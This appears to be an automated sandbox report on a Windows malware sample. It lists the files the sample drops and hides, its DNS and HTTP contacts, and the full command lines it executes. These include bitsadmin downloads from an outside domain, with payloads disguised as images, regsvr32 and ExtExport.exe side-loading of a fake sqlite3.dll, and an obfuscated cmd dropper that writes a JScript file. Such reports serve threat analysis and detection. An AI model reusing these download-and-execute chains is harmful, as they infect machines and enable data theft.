Technical Information
Malicious functions
Creates and executes the following
- '%WINDIR%\explorer.exe' /c, C:\Users\Public\Documents\vjdd257.js
Modifies file system
Creates the following files
- C:\users\public\documents\vjdd257.js
- nul
- %APPDATA%\cex2575489\bite8bc.tmp
- %APPDATA%\cex2575489\bit2624.tmp
- %APPDATA%\cex2575489\bit374b.tmp
- %APPDATA%\cex2575489\bit4660.tmp
- %APPDATA%\cex2575489\bit563f.tmp
- %APPDATA%\cex2575489\bit6757.tmp
- %APPDATA%\cex2575489\bit787f.tmp
- %APPDATA%\cex2575489\bit8a52.tmp
- %APPDATA%\cex2575489\bit9aaf.tmp
- %APPDATA%\cex2575489\bitaafc.tmp
- %APPDATA%\cex2575489\bitbb58.tmp
- %APPDATA%\cex2575489\bitcbe3.tmp
- %APPDATA%\cex2575489\r1.log
- C:\users\public\h
Sets the 'hidden' attribute to the following files
- %APPDATA%\cex2575489\bite8bc.tmp
- %APPDATA%\cex2575489\bit2624.tmp
- %APPDATA%\cex2575489\bit374b.tmp
- %APPDATA%\cex2575489\bit4660.tmp
- %APPDATA%\cex2575489\bit563f.tmp
- %APPDATA%\cex2575489\bit6757.tmp
- %APPDATA%\cex2575489\bit787f.tmp
- %APPDATA%\cex2575489\bit8a52.tmp
- %APPDATA%\cex2575489\bit9aaf.tmp
- %APPDATA%\cex2575489\bitaafc.tmp
- %APPDATA%\cex2575489\bitbb58.tmp
- %APPDATA%\cex2575489\bitcbe3.tmp
Moves the following files
- from %APPDATA%\cex2575489\bite8bc.tmp to %APPDATA%\cex2575489\mammonsysdwwn.gif
- from %APPDATA%\cex2575489\bit2624.tmp to %APPDATA%\cex2575489\mammonsysc.jpg
- from %APPDATA%\cex2575489\bit374b.tmp to %APPDATA%\cex2575489\mammonsysa.jpg
- from %APPDATA%\cex2575489\bit4660.tmp to %APPDATA%\cex2575489\mammonsysb.jpg
- from %APPDATA%\cex2575489\bit563f.tmp to %APPDATA%\cex2575489\mammonsysdx.gif
- from %APPDATA%\cex2575489\bit6757.tmp to %APPDATA%\cex2575489\mammonsysg.gif
- from %APPDATA%\cex2575489\bit787f.tmp to %APPDATA%\cex2575489\mammonsysgx.gif
- from %APPDATA%\cex2575489\bit8a52.tmp to %APPDATA%\cex2575489\mammonsysi.gif
- from %APPDATA%\cex2575489\bit9aaf.tmp to %APPDATA%\cex2575489\mammonsysxa.~
- from %APPDATA%\cex2575489\bitaafc.tmp to %APPDATA%\cex2575489\mammonsysxb.~
- from %APPDATA%\cex2575489\bitbb58.tmp to %APPDATA%\cex2575489\mammonsysxc.~
- from %APPDATA%\cex2575489\bitcbe3.tmp to %APPDATA%\cex2575489\sqlite3.dll
Network activity
TCP
HTTP GET requests
- http://0d####.##zn4bt4525p04.com.de/?01#
UDP
- DNS ASK 0d####.##zn4bt4525p04.com.de
- DNS ASK fb###.##81f9gs7xi434.com.de
Miscellaneous
Searches for the following windows
- ClassName: 'OSKMainClass' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\Documents\vjdd257.js"
- '<SYSTEM32>\cmd.exe' /c cd "%ProgramFiles(x86)%\Internet Explorer\" && ExtExport.exe "%APPDATA%\CEX2575489\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}' (with hidden window)
- '<SYSTEM32>\cmd.exe' /V /C "echo %APPDATA%\CEX2575489\>C:\Users\Public\h"&& exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /V /C "echo xXx>%APPDATA%\CEX2575489\\r1.log"&& exit' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 39533 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsyshh15.dll.zip %APPDATA%\CEX2575489\sqlite3.dll' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 58170 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysxc.gif.zip %APPDATA%\CEX2575489\mammonsysxc.~' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 32230 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysxb.gif.zip %APPDATA%\CEX2575489\mammonsysxb.~' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 39140 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysxa.gif.zip %APPDATA%\CEX2575489\mammonsysxa.~' (with hidden window)
- '<SYSTEM32>\regsvr32.exe' /s "%APPDATA%\CEX2575489\sqlite3.dll"' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 37903 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysi.gif.zip %APPDATA%\CEX2575489\mammonsysi.gif' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 73646 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysg.gif.zip %APPDATA%\CEX2575489\mammonsysg.gif' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 32172 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysdx.gif.zip %APPDATA%\CEX2575489\mammonsysdx.gif' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 93755 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysb.jpg.zip %APPDATA%\CEX2575489\mammonsysb.jpg' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 71622 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysa.jpg.zip %APPDATA%\CEX2575489\mammonsysa.jpg' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 70987 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysc.jpg.zip %APPDATA%\CEX2575489\mammonsysc.jpg' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 35705 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysdwwn.gif.zip %APPDATA%\CEX2575489\mammonsysdwwn.gif' (with hidden window)
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\Documents\vjdd257.js"' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 74570 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysgx.gif.zip %APPDATA%\CEX2575489\mammonsysgx.gif' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /S /D /c" sEt/p ddWUYFJ="%YYZ:IYISFO=%%99aEFLH:1BBJA=/%" 0<nul 1>C:\Users\Public\Documents\vjdd257.js"
- '<SYSTEM32>\regsvr32.exe' /s "%APPDATA%\CEX2575489\sqlite3.dll"
- '%ProgramFiles(x86)%\internet explorer\extexport.exe' "%APPDATA%\CEX2575489\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}
- '<SYSTEM32>\cmd.exe' /c cd "%ProgramFiles(x86)%\Internet Explorer\" && ExtExport.exe "%APPDATA%\CEX2575489\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}
- '<SYSTEM32>\cmd.exe' /V /C "echo %APPDATA%\CEX2575489\>C:\Users\Public\h"&& exit
- '<SYSTEM32>\cmd.exe' /V /C "echo xXx>%APPDATA%\CEX2575489\\r1.log"&& exit
- '<SYSTEM32>\bitsadmin.exe' /transfer 39533 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsyshh15.dll.zip %APPDATA%\CEX2575489\sqlite3.dll
- '<SYSTEM32>\bitsadmin.exe' /transfer 58170 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysxc.gif.zip %APPDATA%\CEX2575489\mammonsysxc.~
- '<SYSTEM32>\bitsadmin.exe' /transfer 32230 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysxb.gif.zip %APPDATA%\CEX2575489\mammonsysxb.~
- '<SYSTEM32>\bitsadmin.exe' /transfer 39140 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysxa.gif.zip %APPDATA%\CEX2575489\mammonsysxa.~
- '<SYSTEM32>\bitsadmin.exe' /transfer 37903 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysi.gif.zip %APPDATA%\CEX2575489\mammonsysi.gif
- '<SYSTEM32>\bitsadmin.exe' /transfer 74570 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysgx.gif.zip %APPDATA%\CEX2575489\mammonsysgx.gif
- '<SYSTEM32>\bitsadmin.exe' /transfer 73646 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysg.gif.zip %APPDATA%\CEX2575489\mammonsysg.gif
- '<SYSTEM32>\bitsadmin.exe' /transfer 32172 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysdx.gif.zip %APPDATA%\CEX2575489\mammonsysdx.gif
- '<SYSTEM32>\bitsadmin.exe' /transfer 93755 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysb.jpg.zip %APPDATA%\CEX2575489\mammonsysb.jpg
- '<SYSTEM32>\bitsadmin.exe' /transfer 71622 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysa.jpg.zip %APPDATA%\CEX2575489\mammonsysa.jpg
- '<SYSTEM32>\bitsadmin.exe' /transfer 70987 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysc.jpg.zip %APPDATA%\CEX2575489\mammonsysc.jpg
- '<SYSTEM32>\bitsadmin.exe' /transfer 35705 /priority foreground https://fbaew.h881f9gs7xi434.com.de/09/mammonsysdwwn.gif.zip %APPDATA%\CEX2575489\mammonsysdwwn.gif
- '<SYSTEM32>\cmd.exe' /S /D /c" echo RBMZXXMRUSF468IIRUK94HHDWOSF 1>nul"
- '<SYSTEM32>\cmd.exe' /S /D /c" exit 1>nul"
- '<SYSTEM32>\cmd.exe' /S /D /c" cd %WINDIR% 1>nul"
- '<SYSTEM32>\cmd.exe' /S /D /c" md \ |"
- '<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit
- '<SYSTEM32>\timeout.exe' 4000
